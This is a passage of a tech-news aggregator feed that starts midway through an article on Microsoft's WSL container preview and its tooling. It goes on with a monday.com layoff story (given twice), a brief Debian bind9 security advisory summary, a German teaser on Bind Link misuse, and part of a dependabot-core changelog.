<p class="wp-block-paragraph">Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.</p>



<h2 class="wp-block-heading">Getting started with WSL container</h2>



<p class="wp-block-paragraph">WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter <code>wsl --update --pre-release</code>.</p>



<p class="wp-block-paragraph">This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering <code>wslc</code>, which should <a href="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers" data-type="link" data-id="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers">list the available commands</a>. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).</p>



<p class="wp-block-paragraph">Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.</p>



<h2 class="wp-block-heading">Calling Linux containers from Windows applications</h2>



<p class="wp-block-paragraph">Things get more interesting when you start to use the <a href="https://wsl.dev/api-reference/">WSL container API</a> from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.</p>



<p class="wp-block-paragraph">The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided <a href="https://github.com/microsoft/WSL/tree/master/doc/samples">sample code</a> to show you what’s possible at this early stage.</p>



<p class="wp-block-paragraph">Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.</p>



<p class="wp-block-paragraph">It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.</p>



<h2 class="wp-block-heading">Manage Linux containers from Windows</h2>



<p class="wp-block-paragraph">If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the <a href="https://github.com/mhackermsft/wslcontainerdesktop" data-type="link" data-id="https://github.com/mhackermsft/wslcontainerdesktop">WSL Container Desktop</a>, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the <a href="https://github.com/microsoft/windowsappsdk" data-type="link" data-id="https://github.com/microsoft/windowsappsdk">Windows App SDK</a> installed, and some features require access to the Azure CLI.</p>



<p class="wp-block-paragraph">WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.</p>



<p class="wp-block-paragraph">Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.</p>



<p class="wp-block-paragraph">Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.</p>



<h2 class="wp-block-heading">Run Kubernetes inside Windows for cloud-native development</h2>



<p class="wp-block-paragraph">One of the more useful features of WSL Container Desktop is the ability to quickly stand up a <a href="https://k3s.io/" data-type="link" data-id="https://k3s.io/">K3s</a> Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own <a href="https://www.infoworld.com/article/3964051/headlamp-a-multicluster-kubernetes-user-interface.html">Headlamp UI</a>, making it easy to go between your development environment and a production Kubernetes cluster.</p>



<p class="wp-block-paragraph">It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.</p>



<p class="wp-block-paragraph">The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bind Links: Tarnkappe für virtueller Pfade in Windows-Datensystemen - B2B Cyber Security]]></title>
<description><![CDATA[Hacker können die Bind-Link-Funktion in Windows zum Erstellen virtueller Pfade in Datensystemen missbrauchen. ... Windows 11 oder Windows Server 2025 ...]]></description>
<link>https://tsecurity.de/de/3688196/windows-server/bind-links-tarnkappe-fuer-virtueller-pfade-in-windows-datensystemen-b2b-cyber-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688196/windows-server/bind-links-tarnkappe-fuer-virtueller-pfade-in-windows-datensystemen-b2b-cyber-security/</guid>
<pubDate>Thu, 23 Jul 2026 09:01:54 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Hacker können die Bind-Link-Funktion in Windows zum Erstellen virtueller Pfade in Datensystemen missbrauchen. ... Windows 11 oder <b>Windows Server</b> 2025 ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 03:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 02:50:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[DSA-6395-1 bind9 - security update]]></title>
<description><![CDATA[Several vulnerabilities were discovered in BIND, a DNS server
implementation, which may result in bypass of DNSSEC validation, RPZ
policy bypass, cache poisoning or denial of service.


https://security-tracker.debian.org/tracker/DSA-6395-1]]></description>
<link>https://tsecurity.de/de/3687790/unix-server/dsa-6395-1-bind9-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687790/unix-server/dsa-6395-1-bind9-security-update/</guid>
<pubDate>Thu, 23 Jul 2026 02:03:17 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Several vulnerabilities were discovered in BIND, a DNS server
implementation, which may result in bypass of DNSSEC validation, RPZ
policy bypass, cache poisoning or denial of service.

<p>
<a href="https://security-tracker.debian.org/tracker/DSA-6395-1">https://security-tracker.debian.org/tracker/DSA-6395-1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.388.0]]></title>
<description><![CDATA[What's Changed

Type GitHub release metadata by @JamieMagee in #15597
Make GitCommitChecker strongly typed by @JamieMagee in #15598
Retry corepack prepare and install on signature metadata errors from private registries by @kbukum1 in #15606
Fix UV DependencyGrapher to detect nested uv.lock in mo...]]></description>
<link>https://tsecurity.de/de/3687473/it-security-tools/v03880/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687473/it-security-tools/v03880/</guid>
<pubDate>Wed, 22 Jul 2026 21:50:45 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Type GitHub release metadata by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898805987" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15597" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15597/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15597">#15597</a></li>
<li>Make GitCommitChecker strongly typed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898867087" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15598" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15598/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15598">#15598</a></li>
<li>Retry corepack prepare and install on signature metadata errors from private registries by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906386828" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15606" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15606/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15606">#15606</a></li>
<li>Fix UV DependencyGrapher to detect nested uv.lock in monorepos by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4829227276" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15520" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15520/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15520">#15520</a></li>
<li>Bump library/rust from 1.95.0-bookworm to 1.97.0-bookworm in /cargo by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4867732478" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15560" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15560/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15560">#15560</a></li>
<li>Bump @sigstore/core from 3.1.0 to 3.2.1 in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4777697783" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15455" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15455/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15455">#15455</a></li>
<li>Bump maven from 3.9.14 to 3.9.16 in /maven by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512163697" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15127" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15127/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15127">#15127</a></li>
<li>Support Bundler source cooldown in Dependabot cooldown flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4828748840" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15517" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15517/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15517">#15517</a></li>
<li>Type shared release metadata by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4907898455" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15607" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15607/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15607">#15607</a></li>
<li>Make Job strongly typed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908469606" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15608" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15608/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15608">#15608</a></li>
